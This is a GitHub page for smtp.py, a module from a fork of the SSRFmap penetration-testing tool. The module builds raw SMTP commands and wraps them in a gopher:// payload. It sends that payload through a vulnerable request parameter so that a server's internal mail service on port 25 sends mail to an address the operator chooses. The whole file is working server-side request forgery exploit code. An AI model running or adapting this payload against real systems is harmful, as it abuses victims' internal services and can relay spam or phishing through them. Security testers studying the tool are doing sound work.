forked from swisskyrepo/SSRFmap
-
Notifications
You must be signed in to change notification settings - Fork 0
/
smtp.py
45 lines (37 loc) · 1.37 KB
/
smtp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from core.utils import *
import urllib.parse as urllib
import logging
name = "smtp"
description = "Send a mail via SMTP"
author = "Swissky"
documentation = []
class exploit():
mailto = "[email protected]"
mailfrom = "[email protected]"
subject = "SSRF - Got it!"
msg = "SMTP exploit worked"
def __init__(self, requester, args):
logging.info(f"Module '{name}' launched !")
self.mailto = input("[MAILTO] Give a mail (e.g: [email protected]): ")
gen_host = gen_ip_list("127.0.0.1", args.level)
for ip in gen_host:
port = 25
commands = [
'MAIL FROM:' + self.mailfrom,
'RCPT To:' + self.mailto,
'DATA',
'From:' + self.mailfrom,
'Subject:' + self.subject,
'Message:' + self.msg,
'.',
''
]
data = "%0A".join(commands)
data = urllib.quote_plus(data).replace("+","%20")
data = data.replace("%2F","/")
data = data.replace("%25","%")
data = data.replace("%3A",":")
payload = wrapper_gopher(data, ip , port)
logging.info("Generated payload : {}".format(payload))
logging.info("Mail sent, look your inbox !")
r = requester.do_request(args.param, payload)